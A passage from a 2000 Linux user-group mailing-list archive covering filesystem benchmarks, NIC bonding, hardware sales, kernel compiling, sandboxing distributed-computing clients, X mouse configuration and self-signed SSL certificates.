jubjub:kpreslan:86:time fast_rm-r kpreslan > /dev/null 4.710u 23.200s 0:29.63 94.1% 0+0k 0+0io 618pf+0w Ext2: jubjub:kpreslan:112:time tar xf ~/kpreslan.tar 4.010u 51.450s 4:02.06 22.9% 0+0k 0+0io 391088pf+0w jubjub:kpreslan:122:time tar cf /dev/null kpreslan 2.020u 3.810s 1:20.27 7.2% 0+0k 0+0io 172pf+0w jubjub:kpreslan:133:time fast_rm-r kpreslan > /dev/null 3.940u 7.200s 2:17.39 8.1% 0+0k 0+0io 622pf+0w GFS: jubjub:kpreslan:16:time tar xf ~/kpreslan.tar 4.480u 101.790s 12:36.30 14.0% 0+0k 0+0io 391072pf+0w jubjub:kpreslan:33:time tar cf /dev/null kpreslan 2.920u 15.010s 1:51.70 16.0% 0+0k 0+0io 152pf+0w jubjub:kpreslan:45:time fast_rm-r kpreslan > /dev/null 4.980u 31.090s 41:15.54 1.4% 0+0k 0+0io 643pf+0w ----- End forwarded message ----- -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001215/69775f95/attachment.pgp From mthoren at mttcc.com Fri Dec 15 18:37:43 2000 From: mthoren at mttcc.com (Matt Thoren) Date: Mon Jan 17 13:13:52 2005 Subject: [TCLUG] adapter teaming References: Message-ID: <3A3AB957.3E80C18E@mttcc.com> "Austad, Jay" wrote: > > Anyone know how to do adapter teaming with a couple of EEpro or 3c905's? > > I have a server that I need to put 2 NIC's in for redundancy. If one fails, > the other one will still need to carry traffic. Assigning 2 ip's is not an > option. > > I know you can do this with NT/2000 (blech), but how do you do it with > Linux? > > Jay > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list Jay, Why is temporarily assigning 2 ips not an option? This is the way Siemens did it. A very small heartbeat program communicated to one card and when there was no response the program reconfigured the secondary ethernet card for the primary network. Simple, inexpensive, effective. Matt. -- Matthew Thoren, MTT Computer Consulting Inc. 2633 Fremont Ave. North, Minneapolis, MN 55411 mthoren@mttcc.com, http://www.mttcc.com Contract/Hourly Programming and System Administrative Services. -------------- next part -------------- A non-text attachment was scrubbed... Name: mthoren.vcf Type: text/x-vcard Size: 305 bytes Desc: Card for Matt Thoren Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001215/2bc22ced/mthoren.vcf From mkroska at readynetgo.com Fri Dec 15 17:45:25 2000 From: mkroska at readynetgo.com (Mark K) Date: Mon Jan 17 13:13:52 2005 Subject: [TCLUG] adapter teaming In-Reply-To: <3A3AB957.3E80C18E@mttcc.com> Message-ID: How about channel bonding? If you put two (or more) cards into a switch, you'd get redundancy, plus the extra speed of more channels into your hub/switch. I know this is a current kernel (2.2.15+) option for sure, but I haven't gotten it to work yet. There should be docs/howtos/etc available in the usual places I'm sure. Thoughts? MK On Fri, 15 Dec 2000, Matt Thoren wrote: > "Austad, Jay" wrote: > > > > Anyone know how to do adapter teaming with a couple of EEpro or 3c905's? > > > > I have a server that I need to put 2 NIC's in for redundancy. If one fails, > > the other one will still need to carry traffic. Assigning 2 ip's is not an > > option. > > > > I know you can do this with NT/2000 (blech), but how do you do it with > > Linux? > > > > Jay > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > Jay, > > Why is temporarily assigning 2 ips not an option? This is the way > Siemens did it. A very small heartbeat program communicated to one card > and when there was no response the program reconfigured the secondary > ethernet card for the primary network. Simple, inexpensive, effective. > > Matt. > -- ________________________________________________________ ReadyNET Go!, Inc. - Building your Business on the net ________________________________________________________ Mark J. Kroska MIS Director 320.656.0765 Voice 888.447.3239 Toll Free 320.203.7052 Fax http://www.readynetgo.com mailto:mkroska@readynetgo.com ________________________________________________________ From austad at marketwatch.com Fri Dec 15 18:36:17 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:52 2005 Subject: [TCLUG] adapter teaming Message-ID: > How about channel bonding? If you put two (or more) cards > into a switch, That's exactly what I'm looking for. I wasn't sure if it was possible without a bunch of modifications. Most likely, I'll need to bond together the 2 onboard NIC's on a Cobalt RAQ. Not only should this give me redundancy, but increased throughput. Jay > -----Original Message----- > From: Mark K [mailto:mkroska@readynetgo.com] > Sent: Friday, December 15, 2000 5:45 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] adapter teaming > > > > How about channel bonding? If you put two (or more) cards > into a switch, > you'd get redundancy, plus the extra speed of more channels into your > hub/switch. > > I know this is a current kernel (2.2.15+) option for sure, > but I haven't > gotten it to work yet. There should be docs/howtos/etc > available in the > usual places I'm sure. > > Thoughts? > MK > > > On Fri, 15 Dec 2000, Matt Thoren wrote: > > > "Austad, Jay" wrote: > > > > > > Anyone know how to do adapter teaming with a couple of > EEpro or 3c905's? > > > > > > I have a server that I need to put 2 NIC's in for > redundancy. If one fails, > > > the other one will still need to carry traffic. > Assigning 2 ip's is not an > > > option. > > > > > > I know you can do this with NT/2000 (blech), but how do > you do it with > > > Linux? > > > > > > Jay > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@lists.real-time.com > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > Jay, > > > > Why is temporarily assigning 2 ips not an option? This is the way > > Siemens did it. A very small heartbeat program > communicated to one card > > and when there was no response the program reconfigured the > secondary > > ethernet card for the primary network. Simple, > inexpensive, effective. > > > > Matt. > > > > -- > ________________________________________________________ > ReadyNET Go!, Inc. - Building your Business on the net > ________________________________________________________ > > Mark J. Kroska > MIS Director > > 320.656.0765 Voice > 888.447.3239 Toll Free > 320.203.7052 Fax > http://www.readynetgo.com > mailto:mkroska@readynetgo.com > ________________________________________________________ > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From colin at tyr.med.umn.edu Sat Dec 16 09:54:37 2000 From: colin at tyr.med.umn.edu (Colin Kilbane) Date: Mon Jan 17 13:13:52 2005 Subject: [TCLUG] Cleaning House, sellin' stuff In-Reply-To: <3A3A9716.D5383F8E@structural-wood.com> Message-ID: I had some stuff that may interest you guys. I was collecting parts for a couple of linux boxes to serve as web, dns, and email servers for my frat. I ended up with the parts to several extra machines. I would like to sell them because the other members of my frat are tired of them cluttering up our library. Here's what I have... P100, at least 64 mb of memory, 2gig hd, cdrom, network, soundblaster, speakers, redhat 7 installed... asking 70 bucks P120(overdrived 486) old system, but has SCSI! Has a cdrom, at least 16mb of memory, may have another 8 to throw in. Right now it has only one gig of hd with win 95 instaled and a sound card. I'll throw in another two gig scsi drive to boot. asking 50 bucks P133(overdrived 486> A nice little system that my grandfather was using till I got him a 233. It has no cdrom through and it has only about 1.2 gigs. It has 32 megs of memory and the 30 pin slots are empty. It has a network card, sound card, and an old tv tuner card. asking 50 bucks I have an dead indy, scsi went on it, but I have 32 megs of memory for one and a 24 bit video card. In addition I have a nice 17 inch monitor to go with it. I have several 2gig drives that could be used with an indy. I would like 70 bucks for the video card, 50 for the memory, and make an offer on the hard disks. Have an working sparc2, no monitor though... Has four gigs of hard drive, 64 mb of memory, all cables and a trancever for rj45. I never got around to installing rh on it through. asking 80 bucks If you are interested in helping me get rid of any of this junk, just drop me a line and make an offer. Merry Christmass Colin Kilbane 612-623-9806 Alpha Chi Sigma 632 Ontario St. Minneapolis MN, 55414 From kelly_black at firstlinux.net Sat Dec 16 11:07:58 2000 From: kelly_black at firstlinux.net (Kelly Black) Date: Mon Jan 17 13:13:52 2005 Subject: [TCLUG] Cleaning House, sellin' stuff Message-ID: <20001216170758.5BDE22747@sitemail.everyone.net> Did you sell the P100 yet? Kelly Black --- Colin Kilbane > wrote: >I had some stuff that may interest you guys. I was collecting parts for a >couple of linux boxes to serve as web, dns, and email servers for my frat. >I ended up with the parts to several extra machines. I would like to sell >them because the other members of my frat are tired of them cluttering up >our library. Here's what I have... > >P100, at least 64 mb of memory, 2gig hd, cdrom, network, soundblaster, >speakers, redhat 7 installed... asking 70 bucks > >P120(overdrived 486) old system, but has SCSI! Has a cdrom, at least 16mb >of memory, may have another 8 to throw in. Right now it has only one gig >of hd with win 95 instaled and a sound card. I'll throw in another two >gig scsi drive to boot. asking 50 bucks > >P133(overdrived 486> A nice little system that my grandfather was using >till I got him a 233. It has no cdrom through and it has only about 1.2 >gigs. It has 32 megs of memory and the 30 pin slots are empty. It has a >network card, sound card, and an old tv tuner card. asking 50 bucks > >I have an dead indy, scsi went on it, but I have 32 megs of memory for one >and a 24 bit video card. In addition I have a nice 17 inch monitor to go >with it. I have several 2gig drives that could be used with an indy. >I would like 70 bucks for the video card, 50 for the memory, and make an >offer on the hard disks. > >Have an working sparc2, no monitor though... Has four gigs of hard >drive, 64 mb of memory, all cables and a trancever for rj45. I never got >around to installing rh on it through. asking 80 bucks > >If you are interested in helping me get rid of any of this junk, just drop >me a line and make an offer. > >Merry Christmass >Colin Kilbane >612-623-9806 >Alpha Chi Sigma >632 Ontario St. >Minneapolis MN, >55414 > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list _____________________________________________________________ Want a new web-based email account ? ---> http://www.firstlinux.net From chrome at real-time.com Sat Dec 16 11:15:39 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:13:52 2005 Subject: [TCLUG] Cleaning House, sellin' stuff In-Reply-To: <20001216170758.5BDE22747@sitemail.everyone.net>; from kelly_black@firstlinux.net on Sat, Dec 16, 2000 at 09:07:58AM -0800 References: <20001216170758.5BDE22747@sitemail.everyone.net> Message-ID: <20001216111539.A28435@real-time.com> > >I have an dead indy, scsi went on it, but I have 32 megs of memory for one > >and a 24 bit video card. In addition I have a nice 17 inch monitor to go > >with it. I have several 2gig drives that could be used with an indy. > >I would like 70 bucks for the video card, 50 for the memory, and make an > >offer on the hard disks. is it just the SCSI interface that's dead? could it still be net-booted? Carl. -- Network Engineer Real-Time Enterprises (952) 943-8700 From colin at tyr.med.umn.edu Sat Dec 16 11:20:09 2000 From: colin at tyr.med.umn.edu (Colin Kilbane) Date: Mon Jan 17 13:13:52 2005 Subject: [TCLUG] Cleaning House, sellin' stuff In-Reply-To: <20001216111539.A28435@real-time.com> Message-ID: No it's toast, sorry... Colin From chewie at wookimus.net Sat Dec 16 12:09:07 2000 From: chewie at wookimus.net (Chad '^chewie' Walstrom) Date: Mon Jan 17 13:13:52 2005 Subject: [TCLUG] Kernel compiling error In-Reply-To: <5.0.0.25.2.20001215163146.030e6008@mail.digitalguy.net>; from jeff.lehman@iname.com on Fri, Dec 15, 2000 at 04:53:23PM -0600 References: <5.0.0.25.2.20001215163146.030e6008@mail.digitalguy.net> Message-ID: <20001216120907.H24841@wookimus.net> On Fri, Dec 15, 2000 at 04:53:23PM -0600, Jeffrey C. Lehman wrote: > I've had the same errors when trying to compile 2.2.17 and 2.2.18 kernels > from tarballs on my redhat 6.2 system. i get lots of errors during make > zImage : (after make menuconfig, make dep, and make clean) If I understand Red Hat systems correctly, they package the gcc 2.72 compiler as kgcc. You must download and install the kgcc package and edit the kernel Makefile to use the 'kgcc' binary. -- Chad "^chewie, gunnarr" Walstrom http://www.wookimus.net/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001216/0e4a31e6/attachment.pgp From chewie at wookimus.net Sat Dec 16 12:36:33 2000 From: chewie at wookimus.net (Chad '^chewie' Walstrom) Date: Mon Jan 17 13:13:52 2005 Subject: [TCLUG] dnetc? In-Reply-To: <20001215145810.B512@ringworld.org>; from dieman@ringworld.org on Fri, Dec 15, 2000 at 02:58:10PM -0600 References: <20001215133834.E24841@wookimus.net> <20001215145810.B512@ringworld.org> Message-ID: <20001216123633.I24841@wookimus.net> On Fri, Dec 15, 2000 at 02:58:10PM -0600, Scott Dier wrote: > * Chad '^chewie' Walstrom [001215 13:39]: > > 1) I don't have the source code, :. I cannot audit it's security. > > http://cosm.mithral.com/ > http://www.stanford.edu/group/pandegroup/Cosm/source.html > > Hrm, it still doesn't say anything. Anyhow. > > 2) It's in binary format. Even if I had the source code, how > > I hope you dont run dnetc either, then. At least Cosm gives you a look > at the low level stuff that they implement. I had to look up on google what the hell 'dnetc' was... No I don't run the rc5 crackers. I do run setiathome outside a chroot jail, since I didn't take the time to learn how to do it before this week. Rest assured, setiathome will be finding it's hat being hung in a virtual world shortly. > The thing about chroot jails, is that they dont stop everything. If > someone still gets access to your machine remotely, and somehow puts a > staticaly linked trojan... they can still plan a awesome DDoS from your > resources. > > Sometimes, paranoia leads to getting nothing done. Sometimes, but a little paranoia is better than none. By this statement, you are not suggesting that I "not" put this binary in a chroot jail, are you? That would be quite bold. I highly doubt that the folding@home project is a front, but it's possible. And yes, putting something in a chroot jail won't protect you from being a DoS node. LIDs could, however. With LIDs, you can tie in the Kernel Capabilities features down to the file level, meaning you can give specific executables system-specific permissions. If you know, for example, that you would like to download new work packages for setiathome at set intervals using cron, you can set up a cron job to open up the NET capabilities to the program at that time and close them once the application's finished it's downloads. Yes, lots of custom hacking with perl to time everything correctly, but it is possible. Of course, the best security to stop DoS attacks in this case is tying an IPCHAINS or IP Tables rule down to the file level. Something like: ipchains -A output -i eth0 -p tcp -o setiathome \ -d setiathome.server.edu 80 -j ACCEPT Where '-o' specifies the object to give outgoing connection permission to. The same patches used for LIDs could be extended into the IP filtering code. (Boy would that have a potential to slow down the TCP stack, or what?!) Anyway, enough brainstorming. Time to install a new kernel... ;-) -- Chad "^chewie, gunnarr" Walstrom http://www.wookimus.net/ -------------- next part -------------- A non-text attachment was scrubbed... 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Not that you should believe me, of course.. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Why are you so hard to / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ ignore? \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From hick0088 at tc.umn.edu Sat Dec 16 14:57:07 2000 From: hick0088 at tc.umn.edu (Michael Hicks) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] [OT] NeXT Memory? Message-ID: <3A3BD723.8B2AC64A@tc.umn.edu> One of my roommates picked up an old NeXTStation earlier this year, but it came without any memory (you wouldn't believe how long it took me to convince him that to open the case and check if that was the problem..) It takes memory in 30-pin SIMMs (doesn't that bring back memories ;-) We managed to get some SIMMs a while ago, but they didn't work. However, I'm guessing that the NeXTs need parity memory (9 bits/byte instead of 8 bits/byte), although the stuff we have is non-parity.. So, I have a few questions. One, do NeXTs need parity memory? Two, do they work with stock parity memory, or do they need something special? Three, does anyone have appropriate 30-pin SIMMs that they wouldn't mind getting a few bucks for? -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Does fuzzy logic tickle? / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From dopp at acm.cs.umn.edu Sat Dec 16 15:10:58 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] [OT] NeXT Memory? In-Reply-To: <3A3BD723.8B2AC64A@tc.umn.edu>; from hick0088@tc.umn.edu on Sat, Dec 16, 2000 at 02:57:07PM -0600 References: <3A3BD723.8B2AC64A@tc.umn.edu> Message-ID: <20001216151058.A67858@sorry.cs.umn.edu> > So, I have a few questions. Shoot. > One, do NeXTs need parity memory? Yes. > Two, do they work with stock parity memory, or do they need something special? Standard 30-pin parity SIMMs work just fine. > Three, does anyone have appropriate 30-pin SIMMs that they wouldn't mind > getting a few bucks for? Not I, but the ACM (at the U) does. I'll put you in contact with the Staff Manager there to see if he's willing to part with some or at least let you bring in your NeXT to see if the memory in our NeXTs works in it (since from your post it sounds like you're not necessarily sure that memory is the problem). Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "I do not believe in the creed professed by the Jewish church, by the Roman church, by the Greek church, by the Protestant church, nor by any church that I know of. My own mind is my church." - Thomas Paine ------------------------------------------------------------------------------- From dopp at acm.cs.umn.edu Sat Dec 16 15:11:50 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] [OT] NeXT Memory? In-Reply-To: <3A3BD723.8B2AC64A@tc.umn.edu>; from hick0088@tc.umn.edu on Sat, Dec 16, 2000 at 02:57:07PM -0600 References: <3A3BD723.8B2AC64A@tc.umn.edu> Message-ID: <20001216151150.B67858@sorry.cs.umn.edu> On Sat, Dec 16, 2000 at 02:57:07PM -0600, Michael Hicks wrote: > One of my roommates picked up an old NeXTStation earlier this year, but > it came without any memory (you wouldn't believe how long it took me to > Umm.. I'm dumb :) Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "I do not believe in the creed professed by the Jewish church, by the Roman church, by the Greek church, by the Protestant church, nor by any church that I know of. My own mind is my church." - Thomas Paine ------------------------------------------------------------------------------- From austad at marketwatch.com Sat Dec 16 16:31:25 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] 5 button ms optical trackball Message-ID: Ok, I got this sweet MS Optical Trackball. It works great with X 4.0, but I can't get more than 2 buttons to work. Anyone know an easy way to figure out how to get the rest of them to work. It's actaully 7 buttons, 5 that you press, and a scrolly wheel. I assume I have to add things to the XF86Config file, but I'm not sure what to add yet. I'm using the ps/2 protocol, maybe I need to change it the the Microsoft protocol, and I also heard that some MS mice like the Logitech protocol better also. Jay From austad at marketwatch.com Sat Dec 16 16:57:49 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] 5 button ms optical trackball Message-ID: Ok, I got the scrolly wheel and the middle button working by changing the protocol to IMPS/2 and adding a ZaxisMapping for buttons 4 and 5. I told X that it had 7 buttons though, and my other two buttons don't work. I'm trying to map the other two buttons to weapons in Q3A. :) Jay > -----Original Message----- > From: Austad, Jay > Sent: Saturday, December 16, 2000 4:31 PM > To: 'tclug-list@lists.real-time.com' > Subject: [TCLUG] 5 button ms optical trackball > > > Ok, I got this sweet MS Optical Trackball. It works great > with X 4.0, but I > can't get more than 2 buttons to work. > > Anyone know an easy way to figure out how to get the rest of > them to work. > It's actaully 7 buttons, 5 that you press, and a scrolly > wheel. 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And I _know_ I've never seen any spammers ask their victims to "collaborate" with them... -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From lerwick at tcfreenet.org Sat Dec 16 22:01:31 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] 5 button ms optical trackball References: Message-ID: <3A3C3A9B.A3ADDD7@tcfreenet.org> "Austad, Jay" wrote: > > Ok, I got the scrolly wheel and the middle button working by changing the > protocol to IMPS/2 and adding a ZaxisMapping for buttons 4 and 5. I told X > that it had 7 buttons though, and my other two buttons don't work. > > I'm trying to map the other two buttons to weapons in Q3A. :) Are you using through USB or PS/2? With USB you can tell it to emulate something-or-the-other mouse with 5 buttons. Dunno if X can talk to it in PS/2 and get 5 buttons. Now what would be really nice is if X could just use the new event stacks thingy directly... From austad at marketwatch.com Sun Dec 17 13:15:24 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] 5 button ms optical trackball Message-ID: I just got all 7 working, but buttons 4 and 5 show up as the same button under quake. xev shows them as different buttons. Must be a problem with quake... I have the PS2 adapter on it right now because I didn't want to mess with the USB stuff. Jay > -----Original Message----- > From: Callum Lerwick [mailto:lerwick@tcfreenet.org] > Sent: Saturday, December 16, 2000 10:02 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] 5 button ms optical trackball > > > "Austad, Jay" wrote: > > > > Ok, I got the scrolly wheel and the middle button working > by changing the > > protocol to IMPS/2 and adding a ZaxisMapping for buttons 4 > and 5. I told X > > that it had 7 buttons though, and my other two buttons don't work. > > > > I'm trying to map the other two buttons to weapons in Q3A. :) > > Are you using through USB or PS/2? > > With USB you can tell it to emulate something-or-the-other > mouse with 5 > buttons. Dunno if X can talk to it in PS/2 and get 5 buttons. > > Now what would be really nice is if X could just use the new event > stacks thingy directly... > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From isla0005 at tc.umn.edu Sun Dec 17 16:05:36 2000 From: isla0005 at tc.umn.edu (Apu) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] Stuff for sale References: Message-ID: <3A3D38B0.C7EF8AC@tc.umn.edu> I have the follwing stuff for sale. All brand new and bi product of a failed start up. Here are they : Phillips 4x4x32x CDRW $99 (4 available) Diamond Viper II 32 MB graphics card (uses ddr memory, very nice) $69.00 Realtek fast ethernet card $ 15.00 56K modem, lucent (I think) chipset $ 19 Three button mouse $3.99 101 Key Keyboard $11.00 IBM 128 MB , 133 Mhz RAM $64.99 Athlon Slot1 750 Mhz Processor (TB core) $120 All stuff are brand new and still in original packaging. Please email me privately at isla0005@tc.umn.edu to buy or get more info. Apu From isla0005 at tc.umn.edu Sun Dec 17 16:10:26 2000 From: isla0005 at tc.umn.edu (Apu) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] Stuff for sale References: <3A3D38B0.C7EF8AC@tc.umn.edu> Message-ID: <3A3D39D2.3DF21640@tc.umn.edu> Oh, I forgot 8x DVD, 32x CDROM $49 Seagete UDMA 66 20 G HDD $98 Thanks Apu wrote: > I have the follwing stuff for sale. All brand new and bi product of a failed > start up. > Here are they : > > Phillips 4x4x32x CDRW $99 (4 available) > Diamond Viper II 32 MB graphics card (uses ddr memory, very nice) $69.00 > Realtek fast ethernet card $ 15.00 > 56K modem, lucent (I think) chipset $ 19 > Three button mouse $3.99 > 101 Key Keyboard $11.00 > IBM 128 MB , 133 Mhz RAM $64.99 > Athlon Slot1 750 Mhz Processor (TB core) $120 > > All stuff are brand new and still in original packaging. Please email me > privately at isla0005@tc.umn.edu to buy or get more info. > > Apu > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From jethro at freakzilla.com Sun Dec 17 14:18:11 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] Stuff for sale In-Reply-To: <3A3D38B0.C7EF8AC@tc.umn.edu> Message-ID: Hi, On Sun, 17 Dec 2000, Apu wrote: > Athlon Slot1 750 Mhz Processor (TB core) $120 Um, Athlons are Slot A... and TBirds are Socket A? -Yaron -- From isla0005 at tc.umn.edu Sun Dec 17 16:47:49 2000 From: isla0005 at tc.umn.edu (Apu) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] Stuff for sale References: Message-ID: <3A3D4295.9613D4BA@tc.umn.edu> It's a slot A. You're right. Yaron wrote: > Hi, > > On Sun, 17 Dec 2000, Apu wrote: > > > Athlon Slot1 750 Mhz Processor (TB core) $120 > > Um, Athlons are Slot A... and TBirds are Socket A? > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From wilson at visi.com Sun Dec 17 17:00:04 2000 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] cheap SSL Message-ID: Hey everyone, I want to SSL-enable my Web server at home. Do I really have to pony up a bunch of money/year for the privilege or is there an alternative? -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ W. St. Paul, MN | | http://slashdot.org/ wilson@visi.com | | http://linux.com/ From ben at nerp.net Sun Dec 17 17:08:28 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] cheap SSL In-Reply-To: Message-ID: no.. openssl provides utilities to generate ssl certs.. they arn't "trusted" and you have to click through with a dialog box.. but it's only anoying once Thank You, Ben Kochie (ben@nerp.net) *-----------------------* [ - * - * - * - * - * - * - * - ] | Unix/Linux Consulting | [ Haiku Error Message: ] | PC/Mac Repair | [ Chaos reigns within. ] | Networking | [ Reflect, repent, and reboot. ] | http://nerp.net | [ Order shall return. ] *-----------------------* [ - * - * - * - * - * - * - * - ] "Unix is user friendly, Its just picky about its friends." On Sun, 17 Dec 2000, Timothy Wilson wrote: > Hey everyone, > > I want to SSL-enable my Web server at home. Do I really have to pony up > a bunch of money/year for the privilege or is there an alternative? > > -Tim > > -- > Tim Wilson | Visit Sibley online: | Check out: > Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ > W. St. Paul, MN | | http://slashdot.org/ > wilson@visi.com | | http://linux.com/ > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From lerwick at tcfreenet.org Sun Dec 17 17:19:42 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] cheap SSL References: Message-ID: <3A3D4A0E.F7B4D842@tcfreenet.org> Timothy Wilson wrote: > > Hey everyone, > > I want to SSL-enable my Web server at home. Do I really have to pony up > a bunch of money/year for the privilege or is there an alternative? Just self sign. The web browser will nag, but at least things are encrypted. :P From austad at marketwatch.com Sun Dec 17 17:06:08 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] cheap SSL Message-ID: You can generate your own certificate to get SSL working. However, your browser will always bring up a warning that says the certificate is not signed by a signing authority. If you're going to do a shopping cart thing or have customers, you have to cough up the money. If it's just for personal use, you can generate your own certificate using openssl. I forget how to do it, but there should be instructions on the mod_ssl page. If you generate your own, don't put a passphrase in it or will have to type in that passphrase everytime your webserver starts. If your webserver is setup to start automatically on boot, your machine will hang waiting for the passphrase, but you won't be able to type it in. Mandrake 7.2 comes with mod_ssl installed and a certificate already generated so you don't even have to do any setup. You could probably use the Mandrake RPM's on your system if it's rpm based. Jay > -----Original Message----- > From: Timothy Wilson [mailto:wilson@visi.com] > Sent: Sunday, December 17, 2000 5:00 PM > To: TCLUG > Subject: [TCLUG] cheap SSL > > > Hey everyone, > > I want to SSL-enable my Web server at home. Do I really have > to pony up > a bunch of money/year for the privilege or is there an alternative? > > -Tim > > -- > Tim Wilson | Visit Sibley online: | Check out: > Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ > W. St. Paul, MN | | http://slashdot.org/ > wilson@visi.com | | http://linux.com/ > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From parker at mi-recordz.com Sun Dec 17 17:04:36 2000 From: parker at mi-recordz.com (parker@mi-recordz.com) Date: Mon Jan 17 13:13:53 2005 Subject: [TCLUG] cheap SSL In-Reply-To: Message-ID: Hi, > I want to SSL-enable my Web server at home. Do I really have to pony up > a bunch of money/year for the privilege or is there an alternative? No you don't, you can generate your own certificate. No URLs handy but I believe it's explained in the mod_ssl or one of those docs installation docs. Been a long time, sorry. Also, there's Public Key Infrastructure (PKI) which I believe will be an open resource that we don't have to pay for but I'm vaguely familiar with it. I do believe that it's related to SSL, a friend is actually working on it. I should do my homework. Ron > -Tim > > -- > Tim Wilson | Visit Sibley online: | Check out: > Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ > W. St. Paul, MN | | http://slashdot.org/ > wilson@visi.com | | http://linux.com/ > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From ben at nerp.net Sun Dec 17 17:19:12 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:13:54 2005 Subject: [TCLUG] cheap SSL In-Reply-To: Message-ID: ok.. a PKI that you can put your own keys up in? where? I want it! :) also.. is there any way to create a *.domain.tld SSL key so you don't have to have extra keys/IP's for each virtual domain? I know you can buy them from versign.. in exchange for several internal organs Thank You, Ben Kochie (ben@nerp.net) *-----------------------* [ - * - * - * - * - * - * - * - ] | Unix/Linux Consulting | [ Haiku Error Message: ] | PC/Mac Repair | [ Chaos reigns within. ] | Networking | [ Reflect, repent, and reboot. ] | http://nerp.net | [ Order shall return. ] *-----------------------* [ - * - * - * - * - * - * - * - ] "Unix is user friendly, Its just picky about its friends." On Sun, 17 Dec 2000 parker@mi-recordz.com wrote: > Hi, > > > I want to SSL-enable my Web server at home. Do I really have to pony 